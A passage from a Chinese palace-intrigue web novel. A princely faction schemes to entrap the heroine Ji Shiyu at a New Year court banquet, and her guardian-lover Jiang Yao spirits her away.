坐在龙椅之中的弘文帝,扫视公主和驸马两人,目光深沉。
江垂容已有六个月身孕,肚子高挺,为了这个孩子,她憔悴的不像模样,哪里还有公主的半分尊容。
今日入宫,竟是为了一桩荒唐无比的琐事。
五公主驸马于威和兵部尚书胡大人嫡长孙同在花楼,偏就是这两人为争一个伶人,闹得满城皆知。
连带弘文帝都跟着丢脸。
江垂容还在哭,哭自己孩子月份大了,不能没有孩子爹,那伶人
既然是胡丰汕的女人,胡丰汕又成了废人,不如赐入胡家。
就当给胡丰汕留个后。
但五公主江垂容话里话外,胡家要于威一报还一报,想也别想。
于威乃是五公主的驸马,表公主的脸面。
胡家想冒犯于威,便是打江垂容的脸。
江垂容冒着恐让弘文帝大怒,也要入宫求见,求的便是恳请弘文帝为她撑腰。
即使弘文帝不苟同驸马此举,只要陛下见了五公主,那便是应许了这个女儿的恳求。
胡家再想拿乔,那是打弘文帝的脸。
胡老太爷甚至来不及发难江曜,就这么摊上了大事。
不光江曜不痛不痒,嫡孙子成了废人,怀着别人儿子的伶人还被弘文帝赐入了胡家。
有了这道圣旨,胡老太爷想暗地除掉雀娘。
不可能了。
而今,始作俑者江曜便在宫门之外侯着胡老太爷。
江曜骑着棕马,阴郁的狐狸眼睥睨,冷傲俯视着胡老太爷出了宫。
恰巧楚王世子江子墨来寻胡老太爷,三人径直在朱红宫门,撞了个正着。
江子墨脚骨才接好长正不久,不远处的江曜皮笑肉不笑,阴暗的面容在他眼前浮现。
江子墨的脚腕隐隐作痛。
那种蚀骨的麻木,像贯穿他的骨头,看见江曜时,便不由自主忆起那股战栗。
江曜笑了笑,朝向胡老太爷:“胡大人此前问我作何想,如今轮到我了,胡家人和楚王府,可还满意?”
“是你!江云让,你真敢和胡家作对!”
胡老太爷眉毛之中的肉痣似要跳出来了,他勃然大怒:“老夫必饶不了你,我要你好看!”
“胡家自身难保了,还想要我性命呢?你们先自求多福吧。”
江曜勾笑,也不多说,拉了缰绳纵马转身离去。
……
忠义侯府,韶华院。
姬时语提笔写得累了,起身推开屋中那盏三条花格窗,忽地,一股寒风刺骨的冷气席卷她全身。
呼了两口气,白雾水气由热透成凉意,冻得她脸蛋随之僵硬了。
萍柳乍见窗棂被推开,连忙走来关上,还念叨着:“小姐吹多了寒风,又要染病气的。”
姬时语笑呵呵看她,“萍柳,屋外下雪了。”
窗棂之外,身披官服的江曜大跨步踏入院中。
天边漫漫星点的小雪落下,集萤映雪之间,他那双狐狸眼更是冷漠。
江曜入了屋,径直便来寻姬时语,小姑娘正坐在梨花木椅里,脑袋歪着看他。
“阿锁,我遇见胡老太爷和江子墨了。”
江曜眼眸轻佻,端的是无声问她,猜猜他都做了何事。
不懂江曜为何雀跃,姬时语生怕他动刀,在宫中斩杀两人,惹怒陛下。
她打了个寒颤,笑容敛起。
然而江曜是故意吓唬她的,他低声道:“我并未做任何事。”
姬时语捧住下巴,闻言,她明媚绽笑,“哥哥,外头可是真下雪了?”
“是啊,已是十二月,近年关了。”
见到姬时语柔软身子先是紧绷,又肩胛一懈,窝回椅中,明显为他没动刀而松了气。
江曜真是气笑了。
阿锁啊阿锁,你就这么怕我背着你开刃见血?
第93章
细雪飘了一夜,小雪簌簌,好在雪隆枝淡,今晨雪止了。
楚王府的府邸屋脊之上落着薄薄层层的白雪,不多时便被吹散。
楚王妃胡氏一夜未眠,晨起时她喊着口渴,候在门外冻得直哆嗦的大丫鬟赶忙进屋,沏了一杯热茶,送入内室。
胡氏一碰茶杯,勃然大怒,抓了杯径直便泼了丫鬟身上。
“这么热的茶,你想烫死我?”
“啊!”
丫鬟被烫得激灵,尖叫着跪地。
“王妃恕罪,王妃恕罪!”
瓷杯碎了一地,丫鬟就跪在瓷片上,膝盖扎出了血,胡氏视若无睹。
“不长眼的东西,还不麻溜的滚下去,将地上收拾干净了?”
荀嬷嬷走来,忙抚着胡氏后背为她舒气。
胡氏满面怒意压不住,荀嬷嬷最是懂胡氏心,劝了又劝,“王妃何必为了一个不知哪来的野种伤了身子?气坏了,心疼的又是老爷夫人。”
“嬷嬷,一个狗杂种为何就没死在外头呢?都吃不饱穿不暖了,这些年怎么就是没死了!”
胡氏怒吼宣泄,几乎不要她明说,荀嬷嬷也心知,两人口里的“狗杂种”只有可能是江云让。
瘫痪在床的楚王爷私生子。
这些年胡氏操办主持楚王府,早已将楚王府当作自己的囊中之物,她誓必要让自己的亲生儿子江子墨继承王府。
而今安国公夫人白氏,却告知了她一个天大的秘密。
在她嫁入楚王府之前,楚王早已有了爱人,罪臣之妹白流,亦是白氏的妹妹,便是楚王难以割舍的明月。
白流遭流放,那时竟已有了身孕,楚王尚且不知。
这个孩子竟还被她生下来了。
一个已惨死了的爱人,冒死也要留下他的后裔,胡氏不敢想若楚王得知真相,怕是拼死,也要将王府的一切,留给这个愧对多年的孩子。
到那时,她胡氏和儿子江子墨怎么办?
“江云让这个狗东西,我没杀了他,是我没本事。他对我儿动手,断了子墨的腿,我恨他都来不及,现在他还动了胡家!”
胡氏面露狰狞,“他真当自己能耐了,废了丰汕,胆敢和胡家作对,我不会放过他的。”
胡家嫡长孙就这么成了废物,胡氏得到信后,当场撕了个粉碎。
屋里价值连城的两只青玉缠枝莲纹瓶,也被胡氏砸了个稀巴烂。
对江曜,新仇旧恨交织,难消她恨。
……
三皇子府,堆银彻玉,仆从们张罗着扫雪整齐院子。
柳眉受三皇子江承北传唤,一路走至主院,提步缓缓踏了进去,开关屋门之间,冷气便就钻入了室内。
“殿下。”柳眉轻盈笑道。
“眉儿。”
江承北眼中柔意,起身握了她手,揉搓几下,不免心疼,“天这样凉,看你手冷的,你怎不多带个手炉暖和?”
三皇子府虽不止柳眉一个女人,但柳眉过的十分舒心。
江承北除却柳眉这个正妃,侍妾尚有几位,但他并不沾染女色,每月偶有几次歇在别处,多还是来柳眉的院中。
两人夫妻已有三年之久,仍是浓情蜜意,恩爱如初,柳眉以为她的日子十分知足。
若是能扶持江承北坐上储君之位,日后待荣登大宝,柳眉自信自己将会是陪着江承北问鼎高峰的皇后。
因此要说这日子有何不满意,柳眉唯一的憾事便是两人恩爱已久,她的肚子却迟迟没有动静。
也不知怎么的,她是到现在也没怀上个一男半女。
“眉儿,我有事同你说。”
两人温存了一会儿,江承北抱着柳眉说起正事,他拍怕她后背,突而改作叹息,“我怕是要对不住你了。”
柳眉心头一个咯噔,眼皮直跳。
江承北道:“我决议再纳侧妃。”
此话一出,柳眉惊得双目瞪大,她甚至忘了挣脱江承北的怀抱,嘴唇只是颤抖。
良久,她才记得开口。
“殿下想要纳哪家的姑娘?”
“忠义侯府的五小姐,姬时语。”
“五小姐?殿下可知道再说什么?”
柳眉真以为自己听岔了,她一把推开江承北,脸色白了又白。
“忠义侯府的五小姐乃是忠义侯和舒家嫡出的姑娘,便是做三皇子妃都当得,何来愿意给你做侧妃?”
“眉儿。”
“还是说殿下厌弃妾身了,想让妾身让位?”
“眉儿,你听我说……”
江承北想抱柳眉,却被她躲开甩开了手,柳眉眼睛红红,是委屈的。
她堂堂安国公府嫡女,竟有朝一日要和忠义侯府的五小姐争位。
怎么,三皇子想要姬时语来做他日后的皇后?
柳眉恨道:“殿下有话直说好了,不必弯弯绕绕的,还故意说要纳五小姐的话,惹妾身生气。”
“眉儿!”
江承北头疼不已,抓住她手便是放下身段的哄:“我说了,我的正妃只会是你,日后我登位,你便是我的皇后。除你之外,不会再有旁人。”
“那殿下纳侧妃?”
“大皇兄已受任命为巡抚,代父皇南下前去黔南平乱,此番若他平乱归来,朝中定要起声音,请奏让父皇立大皇兄为储君。如今事态严峻,对我们太不利。”
江承北沉着脸说:“眉儿,我身边可用之人太少,阁老与首辅一向支持大皇兄,不可能倒戈成我党,我需要忠义侯府的助力,绝不能让大皇兄抢了先。”
“妾身明白了。”
柳眉沉默许久,终道:“只是姬时语到底是嫡出小姐,又受忠义侯宠爱,侯府不可能将她下嫁,做殿下的侧妃。”
“近来胡家的手笔一出,五小姐清誉有损,京中的世胄清贵人家,这时候哪会愿意以正妻之位求娶她。”
江承北轻蔑笑了,他早有打算,满腹算计,此刻东风已到,正是时候。
“再说了,清誉有损不够,那就毁了,让她没的选择便好。”
柳眉愣了愣,投眸看向江承北的脸,她的殿下轻拍了下她的手背,温温柔柔的,抗拒不了。
“眉儿。”
江承北笑着喊她,似在哄她:“为了我们的大业,我信你不会辜负我的期望。”
……
年关将至,雪又下了起来。
浅白铺满青石路,今夜的雪越下越烈,皇宫的黄瓦朱墙挂满了霜华。
夜幕已临,华灯初上,宫中大摆宴席,为庆贺一年的丰收,弘文帝设宫宴,文武百官携家眷前往。
宫外青砖结了银霜,听说又要入宫参宴,姬时语那是一百个不愿意。
舒氏没管她哀怨小脸,只是命韶华院赶紧收拾妥当。
姬时语捧着手炉,端望萍亭萍柳取衣裳。
“去了宫里也要哈欠连连,好没意思啊。”
姬时语不喜宫中,被拘在皇城之中,在六宫费心思争宠,光是想着这日子便真看到头了。
可这会儿由不得她去替娘娘们哀怨,她还得先顾上自个儿。
夜里外出本就够苦了,何况还是冬日,天寒地冻的,冷得人发颤。
姬时语很畏寒,早年身子又弱,舒氏吩咐过林妈妈,韶华院屋中的炭火要烧得旺些。
因此江曜寻来时,卷着屋外寒气一入室内,顿时热得他全身要起汗。
“你屋里烧了这么多炭火?”江曜面色微变。
是有些热了,他干脆还是退至屋门口,与屋中热火滚滚相比,外头寒风是显得不那么寒冷。
“哥哥,真有那样难受吗?”
姬时语见他这番动作,满心好笑:“我觉着还好啊,屋里暖洋洋的,很好,外头冷冷下着雪,也不错。”
江曜狐狸眼瞥她,没了情绪:“你怎么样都觉着好。”
“好像是这么个理呢。”姬时语嘻嘻笑。
萍柳为姬时语裹好斗篷,又在她手袖之中塞进一只新的手炉,双手畏着热,也不会再觉得哪里冷。
姬时语穿戴完好,江曜已候了许久。
她缓步走来,笑说:“哥哥,等急了吗?”
“还好。”
江曜对姬时语一向有不少耐心。
“那就好,走吧。”
小姑娘眉眼如画,她伸出手想拉他,可转而还是收了回去,猫瞳轻笑明媚,头顶环翠叮当,发髻间却没有铃铛。
江曜心口一动,忽而感觉她身上像少了点东西。
姬时语要走,江曜却叫住了她。
“等会儿。”
姬时语还在看呢,那厢江曜已是大步入了屋中。
他喊来萍柳搬来了妆奁盒,从中翻找出那条朱红锻面头繻。
“怎么了?”
探了头过去,姬时语便见江曜捧着发带而归。
今日他身披墨色云纹大氅,氅下官袍加身,腰系玉带,矜贵清冷。
唯有右手腕骨缠绕的那根缎带,添了朱红明艳。
江曜拿起,不由分说的,霸道地将发带串入了姬时语的发髻。
“你就是为了这个呀?”
姬时语歪了下脑袋,发带之上毛茸茸的小铃铛叮当作响。
江曜勾了笑,他终于满意了,遂又勾起手抬起,替姬时语将斗篷系带再度系劳。
做罢这些,江曜握住了她的柔荑,他说:“现在可以走了。”
“好,不过,我不用你牵着……啊!”
江曜一个大力拉扯,姬时语被半拉入了他怀中,他勾住她的腰肢,手掌温柔地贴上她的小肚子。
他声音在头顶落下:“还是说你想这样?”
“不要……”
感受到江曜的手在动作,姬时语恼得脸红,挣脱便抗拒不愿意。
若能选,姬时语还是甘愿牵手。
“阿锁,那给你。”
江曜将手腕递给了她,姬时语粉面羞涩,但没过多犹豫,她挽住他系着护腕的手,乖乖的牵住了。
在这种事上,江曜乐此不疲的强势,一旦她生起逃离一寸的念头。
他会大步前进三寸。
绝不让她走的。
姬时语意识到这一点时,一切早已为时已晚。
她甚至没有了退路可言。
江曜牵着她手,轻道:“是时候入宫参宴了。”
姬时语应了声。
今日年宴,不光文武百官携眷前往,连楚王府亦在。
一年到头不出府的楚王,将会出席宫中的年宴。
第94章
华灯初上,宫女们手捧琉璃宫灯立在绵绵白雪之中,照亮前往宴席的甬道。
正是宫宴之时,姬时语随舒氏还有姐姐姬合英,一同来到女眷席间,佳肴珍馐香味袭人,宫女将几人引至前首,落了座。
“五小姐。”
姬时语听有人喊她,不觉侧了头。
入目便是柳眉貌美的笑脸,柳眉一双细眉弯了弯,显得很亲热。
不过姬时语可不以为两人有多亲热,她淡淡回喊:“三皇子妃。”
今夜皇子妃皆已入场,忠义侯府的坐席刚巧便在皇妃之下,柳眉与大皇子妃,大理寺卿之女苏氏同为妯娌,坐在一处。
柳眉鹅黄绣凤宫裙,雍容华贵,皓腕一只翠绿翡翠镯,抬手间华光生辉。
她本就身份高贵,又是三皇子妃,自持尊首高傲。
大皇子妃苏氏与柳眉相邻而坐,一袭柳青色芙蓉裙,倒显得寡淡不少。
她垂首,乌发盘在脑后,一缕鬓发晃动,遮在耳上。
姬时语亦是向苏氏见礼,“大皇子妃安好。”
苏氏轻缓扭头,朝姬时语很慢地点点头。
再一摆动,发丝晃动过去,姬时语竟清晰瞥见,苏氏耳后显眼的青紫红肿。
想到苏氏回门闹着和离,此事却不了了之,姬时语大抵猜出苏氏这些日子,遭遇了何事。
柳眉沉吟,笑了笑睇眼来:“五小姐看起来兴致不错,看来前几日京中与胡家的流言蜚语,全是混说。”
“娘娘既然知道是流言,我身子正不怕影子斜,又有何惧的?”
“我听说胡家人上忠义侯府求亲。”
“是,胡家大少爷是那样一个人,京中无人不知他品性作恶多端,这样的人能同我有何关系?我爹娘可不愿意我嫁去胡家受苦。”
姬时语晶莹剔透的眼瞳荡开一刹明光,她反笑道:“怎么,娘
娘这么上心我的亲事,是有意为我说媒了?我记得安国公府可没适婚配的公子少爷。”
柳眉一惊,怕心思泄露,她止了话,“我只是关心你几句。”
“那就多谢谢三皇子妃娘娘如此上心,我一切都好。”
姬时语竟笑着朝柳眉拜了拜。
今夜出府,姬时语着了一身粉霞锦绶藕丝锻裙,斗篷兔毛沿边,莹白娇花似的漂亮小脸便渐渐贴在兔毛之间,更是乖巧的不像话。
小姑娘发梢之间两条朱红头繻晃荡,微有铃铛脆音,这点红润便是她全身上下唯一的亮色。
却很是明亮。
一如当年受柳眉质问,还只有十岁的姬时语那般光明坦荡。
柳眉又一回不敢直视姬时语的双眼。
她总觉得姬时语的眼太干净,看的久了,便会被她洞察自己的心思。
忆起三皇子的盘算,柳眉嘴角勉强挂了笑,她没法再平静和姬时语攀笑,来的尴尬。
不过好在,太监总管在这时入了殿。
宫宴是开始了。
姬时语手边的糕点已见了底,她偷摸伸手去拿姐姐姬合英的,可一扭头,身侧无了姐姐的身影。
姬合英已去了朝臣那列。
薛淮璋亦在同处,他在旁陪同姬合英。
舒氏喊她:“阿锁,想要什么呢?”
“娘,吃食用完了。”
姬时语压低声,轻拉了舒氏的手,便低低撒娇,“年关宫中新进了糕点,御膳房的这道梅花红糕,很好吃呢,我还想要嘛……”
“你少吃点儿,这都什么时候了,只顾着吃?”
舒氏还以为多大事,结果就为点糕点吃食,她打住姬时语的手,又是劝拦:“好了,这是宫宴,莫要作乱。”
“省的了。”
话虽如此,姬时语还是不悦哼了下。
在这时,太监总管高喊一记:“皇上驾到——”
文武百官与各府家眷纷纷起身拜礼,齐声一道。
“陛下万岁万岁万万岁。”
“众爱卿平身吧。”
弘文帝走至上首龙椅,身边跟着的柳贵妃宫装贵气,亦是缓缓落了座。
很快,弘文帝举起金杯,杯中美酒香醇,他声音厚重,“大雪已至,新的一年将来,朕祝愿众位爱卿来年与朕同享太平盛世。”
“陛下圣明。”
下首席间众位朝臣官服整齐,或坐或立,手持玉杯,同庆贺一年的佳节喜乐。
柳贵妃提笑接过话道:“陛下,教坊司今年像是学了新花样,臣妾听说民间很是流行鼓上踢踏舞,礼部曾提过这燕乐新鲜,不如让他们献艺一舞?”
话是这么说,实则人早已在殿外候着了,后宫皆由柳贵妃掌管,歌舞自然有她说话的份上。
弘文帝没拂柳贵妃的脸,应道:“准了。”
柳贵妃风目一转,给了殿外奉銮一道睇眼。
顷刻间,教坊司的奉銮领着一行韶舞、司乐莲步飘入金殿。
丝竹之声不绝于耳,姬时语好奇打量殿中央。
几位韶舞纱裙撩动,单脚踩上大鼓,舞动之间脚腕金链熠熠生光,踢踏灵动。
姬时语看的起劲,身旁柳眉又是突兀地攀了话来,“五小姐早先不曾看过踢踏舞?”
“没有。”
柳眉笑了笑:“那是可惜,这两年佳节游街时,民间总有人会演几回。”
“我是比不了三皇子妃见多识广。”
“五小姐一定要和我咬字?瞧你这样不耐。”
为姬时语这一句刺话,柳眉没了好脾气,她蹙眉:“我以为我们不说多亲密,但也合该是友人。”
“友人?”
姬时语宛如听见了天大的笑话。
安国公夫人白氏是江曜的亲生姨母,她曾卖江曜求荣,而柳眉身为亲女,不可能不知情。
白氏做出这档子事,柳眉还有脸和自己攀感情?
是她疯了,还是柳眉疯了。
“三皇子妃,我们忠义侯府从来不结党,不参合朝中几位皇子的党争。”
姬时语冷下脸,她态度坚决,“三皇子殿下若是想拉忠义侯府下水,我只能说对不住了。”
“五小姐,你总曲解我的话。”
柳眉笑的艰难,笑容凝固,她是快笑不出来了,“方才我只说你和我,不表三皇子殿下。”
“你最好心中无鬼,没别的打算。”
姬时语哼了哼,小姑娘虽看似乖软可人,但她也不是个好欺负的,心思伶俐着呢。
早年姬合英就差点被大皇子算计,就为着背后如大树般的忠义侯府,忠义侯手握的十万兵权。
是弘文帝给几位皇子赐婚,娶了正妃,这场皇子与忠义侯府小姐之间的算计终才了结。
三皇子党的筹谋算计,姬时语尚且不知。
但她对柳眉从未掉以轻心过。
这其中当然有江曜的关系,她容不得安国公府背后置江曜死地,却明面装不知,套近乎。
人若是两面三刀,才是令人厌恶。
姬时语厌嫌的神情明明白白挂在脸上,柳眉只得闭了嘴。
女席这面果酒一番下肚,宫女们执起玉液,一面席间的走过,为各家添杯加酒。
舒氏亦是喝了三杯,她酒量尚可,喝完下肚又让宫女添了一杯。
姬时语也举了杯子来讨酒,却让舒氏阻了,“阿锁,你不要贪杯。”
“娘,你能喝却不让我喝?”姬时语老大不情愿。
“好了,你听娘的,不要喝酒。”
舒氏夺走了姬时语的酒杯。
姬合英早叮嘱过,万不可让姬时语沾酒杯,因而舒氏留了个心眼,自然不能让小女儿捧杯。
宫女端着玉液刚站定,听得这话,有些不知所措,舒氏摆摆手。
“你下去吧。”
“是。”
小宫女目光躲闪,双手捧酒,正欲离开,脚下却突然一跛,满瓶玉液照着姬时语泼来。
“哗啦——”
姬时语的衣裙,湿成了一片,暗沉粘腻。
“是奴婢该死,对不住!求小姐饶命!”
小宫女脸吓白了,跪地便给姬时语磕头。
“哎呀,你这宫女毛手毛脚,怎么做事的?竟是把五小姐衣裳全弄湿透了。”
姬时语和舒氏还未发话,一旁的柳眉却插了嘴,她喊了自己的大丫鬟过来,吩咐下去。
“玉香,你快带五小姐去落华宫求见荀美人,让娘娘为五小姐找一件干净衣裳换上。”
姬时语拧眉,宫宴之上,顶着一袭湿裙,是为冒犯皇帝,她不得不换。
这宫里能更换衣物的,也就只有后宫众位娘娘的宫殿。
于是,她起了身。
“阿锁。”
舒氏很是担忧,忙不迭拉了姬时语的手,“在宫里生了事,我怕……”
“娘,三皇子妃主动送我去,你才该放心。”
姬时语小脸浅笑,她拍拍舒氏的手,安抚了娘亲,“若我出事,你找三皇子的人就是了。”
她一语毕,舒氏冷冷扫视柳眉,“如此,本夫人先多谢三皇子妃出手相帮。”
这是一句警告。
柳眉的脸色更是难看,素手在袖中狠狠攥紧,不住颤抖。
姬时语不敢耽搁,方才被无心泼了酒,席间还未有太多人看见,她赶忙提起衣裙,随柳眉的丫鬟玉香一路往落华宫赶去。
留了个心眼,才走出不远,姬时语便暗地让萍亭去找姐姐姬合英。
一刻钟后,姬时语来到了落华宫。
三皇子江承北的母妃荀美人乃宫婢出身,一次弘文帝醉酒后宠幸,幸而得了龙子。
荀美人是在生下江承北多年之后,才被提了美人之位。
“荀美人娘娘。”
“我听说了,五小姐不巧湿了衣裳,你和眉儿识得,她认识的姑娘定都不差。”
姬时语见了礼,荀美人很是热络地招呼她,“偏殿有衣裳,五小姐就在我这儿换一身干净的吧,玉香,送五小姐过去。”
“多谢娘娘。”
姬时语往偏殿而去。
玉香点上一盏灯便退下了,萍柳轻手轻脚走来,拿起榻上的衣衫,只肖一眼,她有些犹豫。
“小姐,真要换?”
“换上吧。”
两人未再说话,室内安静的可怕,萍柳伺候姬时语换上
一身新衣裙。
这落华宫的衣裳留有淡淡梅花香,还有些大了。
姬时语穿着,袖口需得朝上挽两道,才勉强合身。
“五小姐。”
这时荀美人在外轻声唤了声,“你可换好了?”
姬时语下意识回:“还未。”
“好,你不着急。”
外头笑了一声,淡远了几分。
姬时语当然要拖着,她要等萍亭带姐姐过来,这时候出去,她总觉着心有不安。
荀美人应不敢擅闯进来,她没理由这么做。
只是今日三皇子一党行事太乖,姬时语心中提防,她不得不防,为免万一。
她就是等,干等就好了。
萍柳没吭声,两人持寂静状。
就在这如死寂的须臾之间,一颗小石子敲打了偏殿的那扇琉璃菱花隔窗。
不轻不重,偏殿之中的姬时语和萍柳刚好能听见。
萍柳下意识看姬时语,却见姬时语点头应肯,她便走去开窗。
甫一推开,江曜竟立在那儿。
黑夜繁星映在他身后,大雪落下时,雪花沾上他的大氅,微光一照,零星的亮。
“哥哥。”
姬时语心生欣喜,她压低声喊,生怕让主殿的荀美人听见了。
“过来。”
少年眉宇阴沉,他在喊她来窗边,他要带她走。
姬时语喏喏挪了两步。
不用她想,江曜能比去寻姐姐的萍亭来的还快,定是他在自己身边安插的人。
第一时前去禀报了他。
江曜还真是盯她盯得死死的。
姬时语感觉像是被江曜牢牢掌控,一举一动都在他的鼓掌。
于池水嬉闹时,她的脚腕深入水中,水底无尽水草四面八方循着她来,攀附、缠绕于她身。
不得逃离,令人窒息。
她好害怕他。
可她又喜欢着他。
又爱又怕的感情纠缠着她,也不知是喜欢江曜多些,还是惧怕他更多点。
姬时语望着窗外那张如浸湿冬雪般清冷的面容,深深呼了一口气,吐出胸口郁结的气。
一鼓作气,她走到了偏殿窗边。
江曜踩在雪层之上,玄色长靴发出细碎的塌陷声,他走来,长臂一探,便将姬时语从殿中抱了出来。
萍柳在里指了指自己,江曜拎着她衣领,将人提出了窗棂。
姬时语被抱入了江曜怀中,他单手托着她,掀开大氅好让她裹在衣里,隔绝院中寒冷的风雪。
怕自己掉下去,姬时语双手不自觉圈紧江曜的脖子,抬起头,他的下颌冷硬绷直。
他拥着她,朝外走得沉稳安定。
姬时语的心,难以言喻的又在窃喜。
轻轻地,便将整个脑袋贴上了他的肩窝,不自觉依赖多了点。
不可否认的是,在看见江曜出现在眼前的那一刻,知道他是担心自己赶来了,她的心,跳得无比飞快。
她这颗心,只因江曜悸动过。
第95章
江曜带着姬时语和萍柳避开落华宫的眼目,就着雪夜寒冷,当值宫女稀疏,他裹抱她飞快离了宫殿。
姬时语大气不敢多出一下,待江曜将她放置下地,脚面落于甬道青砖路面。
恍恍惚惚,她缓过劲来。
“怎么来了落华宫?”
江曜抿唇问她:“你不知道后宫本就是是非之地?”
大雪扑簌纷飞,落于江曜冷硬的剑眉,显得人更为冷漠。
他像在指责,姬时语一愣,心口便是忽的难耐。
她旋即颦眉生硬道:“你既然在我身边安插了人手,就该知道我是衣裳湿了,被迫来落华宫换衣裳。”
江曜牵住姬时语的手,她反手便要甩开,却又被江曜抓紧了些。
这回他说:“阿锁,别闹。”
姬时语满腹委屈,眼眶微微染了红。
“你为何总觉得我是在同你闹呢?”
江曜从没问过她要不要这样,愿意亦或不愿意,被莫名每日每夜的跟着。
怎么像是不讲理的是她似的,她本就实话实说罢了。
她还没怨怪江曜二话不说,便派了人随行,探查她一举一动呢。
姬时语的心中万般怨气,江曜攥住她指尖,裹紧了她手,他低低的声音传来,这回温和了几许,耐心哄着她说。
“太暗了,这里不宜久留,我先送你回席,莫要让夫人等急了。”
甬道昏暗,落华宫乃是深宫,从这里走去宫宴,四下寂静,见不到一位宫婢。
静的微有宫墙屋檐挂着的琉璃宫灯,和相携行走的两人。
姬时语听着江曜软下来的腔调,眼尾涌出的泪珠,顿了顿,还是努力咽了回去。
为何打一巴掌又给一颗甜枣呢。
她才生起想要怪他的心思,却转瞬就这么被他关切哄得心软。
姬时语才不要管那么多,江曜让她置气,她便是无理,也要把罪名推到他头上去。
“是哥哥,做的太过分了。”
“我来寻你,你还恼上我了。”
姬时语垂首,手指不自觉搅动,缠上了江曜微凉的手,大雪落下时,冰冷的雪花亲吻两人的手背,带了颤。
江曜一个拂袖,裹着她手藏入了袖中。
没了外人,两人终是可以正大光明的亲密,姬时语的心泛起甜腻,随心地用小拇指卷起了江曜的手指。
勾着他,不时晃动两下的撒娇。
她靠上他的手臂,哼笑说:“那你给不给我恼?”
“嗯,给。”
江曜总是随姬时语的,他拢了拢手心,免得她冻着。
只是轻微的举动,引得姬时语唇角翘起。
她很欢喜他无声的关切。
“来人了。”
倏忽间,姬时语被江曜飞快拉扯隐入了一处暗角,她还没反应过来,江曜的手便捂住了她的唇。
姬时语眼睛飞快转动,江曜下巴朝侧一点,她循着望了过去。
只见他们来时走过的那条甬道,赫然出现了一道明黄色的身影。
姬时语大吃一惊。
是弘文帝!
弘文帝怎么会出现在后宫?
姬时语瞪大眼,飞快斜瞥向江曜,猫瞳含杂茫然,然而江曜却朝她轻摇了摇头,没作声。
弘文帝身旁并未带人,太监总管曹云紧候他身侧。
两人走得近了,姬时语身子不觉紧绷,又往江曜怀中缩了缩,她紧挨着他,寻求安心之感。
姬时语屏气凝神,生怕一个不察,便被皇帝撞破,掉了脑袋。
雪未止,甬道轻轻扑了一层浅白,弘文帝脚踩过雪地,声响虚浮,没得章法。
“陛下。”
曹云惶恐几番:“陛下您慢些,留心脚面。”
姬时语就听皇帝含糊不清地问:“落华宫……在哪儿?还要多时才能到?”
两人是看也未看一旁宫殿的暗角,两步之下便越过了躲藏于此的姬时语和江曜,转而直直朝前走去。
曹云的声音也飘远了些,“陛下,就要到了,荀美人早在等着了。”
直到再看不见弘文帝,江曜方才撒手,他改握住姬时语的手时,手心隐隐带了力道。
姬时语没察觉,她还在问:“陛下怎么来后宫了?”
自暗角走出,琉璃宫灯便在三步之远,微弱灯火稍有明朗,雪华落在姬时语的肩膀,映出她那一身红梅白雪的素雅宫装。
姬时语很少着红衣,这件红梅如画卷徐徐盛开,江曜像真望见了雪中梅花竞相开放。
不经意间,江曜回望姬时语,狐狸眼跟着暗沉了下来。
“这衣裳。”
他问:“是荀美人让你换的?”
“是,只有这一件放在了偏殿,没有旁的衣裳了。”
姬时语抬袖,袖口红线绣着梅花枝头,她又问:“这衣裳是有什么不妥吗?”
江曜没答,兀自猛然拽了她。
被扯入江曜清冷怀抱,姬时语“哎呀”喊了出声,江曜半揽住她腰肢,托抱起她。
他说:“不能再耽搁了,得快些回去。”
姬时语也不再抗拒他,她回揽住他的脖子,乖顺地由任由他抱着快步前行。
在后宫撞见弘文帝,已是足以令姬时语后怕,未免夜长梦多,姬时语恨不得生出翅膀,即刻飞去舒氏身边。
两人快步走出
这条甬道,巧的是,姬合英正好找了过来。
见是江曜和姬时语,姬合英面上生了慌忙。
“阿锁,没出事吧?”
萍亭已将事情原委告知姬合英,她便当即离了席往落华宫赶,再一见,姬时语已换好衣裳,被江曜带回。
江曜说道:“大小姐,先送阿锁回席,怕离开久了,有人说三道四。”
“我知道。”
姬合英握住姬时语的手,她和江曜道谢之后,带着姬时语往席面回。
“阿锁。”
两手相握,姬合英才察觉姬时语的手多凉,她不免心疼,“今夜是不是吓坏了?”
姬时语依偎着靠过来,姐姐身上温热传递于她身,暖暖的,她寻到了心安,松了口气。
压低声,姬时语同姬合英道:“刚我和哥哥碰见了陛下,姐姐,陛下不是在宫宴?”
“陛下?”
姬合英回想,“陛下确实离席了,才走不久。”
“我们听得陛下要去落华宫,荀美人在后宫不是不受宠吗?”
姬时语觉着奇怪,再来今日柳眉态度甚怪,攀着她说好些话便罢了,还献殷勤执意要她去落华宫。
两人相携走至宫灯之下,有了光亮,姬合英便留意到姬时语身上那件红梅衣。
这下姬合英脸色瞬间变了,抓着她手勃然大怒。
“阿锁,这是荀美人让你换的?”
姬时语不解:“是。”
“江承北!他们真算计到你身上来了!”
姬合英几乎是骂了三皇子党无耻,她拦了姬时语回席的路,吩咐萍亭立马去寻舒氏。
弘文帝已离席,宫宴可以不必再留,她需得告诉舒氏,让母亲先带姬时语回忠义侯府。
姬合英迅速将身上的长袄褪下,她英气的脸黑沉,复而披上姬时语的身。
为妹妹系好外衫,长衫一拢,便遮盖了里头的红梅宫装,不透一丝风。
舒氏很快随萍亭过来,待见两个女儿,她急切来问:“合英,阿锁,出何事了?”
“娘,多的先不同你解释,你赶紧和阿锁回府,不要久留宫中了。”
姬合英稍一拉长衫,在舒氏错愕的双眼里,透出些许里面的红梅裙。
舒氏一见,神情骤变。
没了温柔,唯有冷意。
“他们还真一点心思不遮?就这么敢打我们忠义侯的主意了!”舒氏亦是怒火难消。
“阿锁方才离开落华宫避开了陛下,还好是没撞见。”
姬合英沉声点头:“别的不说了,先出宫,我怕待久了真要出事。”
舒氏牵住姬时语,“阿锁,我们回去。”
听姐姐和娘亲说的肃穆,姬时语预感这事不小,她没追问。
姬合英说得对,先出宫旁的回府再说。
……
江曜独自回席,同僚举杯庆贺他封二品官身,几杯酒下肚,他便与人告了辞,说道该是时候离宫回府了。
众人也不好挽留。
江曜独身入了雪中,他吐出两口酒气,大雪寒冷,却也吹散了周身的浑浊缭绕。
沿着宫道出宫,雪蒙蒙之间,数位宫女执灯涌上了前,江曜抬眼,一座四面围幔的肩舆缓缓被抬入了宫。
再一见,一袭织银华服的江子墨便陪同在肩舆之侧,他叫骂着。
“雪这样大,宫道怎无人清扫干净?”
“子墨,你安分些。”
楚王妃胡氏云鬓金钗,绛紫宫装在身,她笑了两声,便扼制了江子墨的话音。
“母妃……”
江子墨刚要说话,眸子一转,正见前方不远处,一身墨色大氅的江曜,沉沉地睨向他们这面。
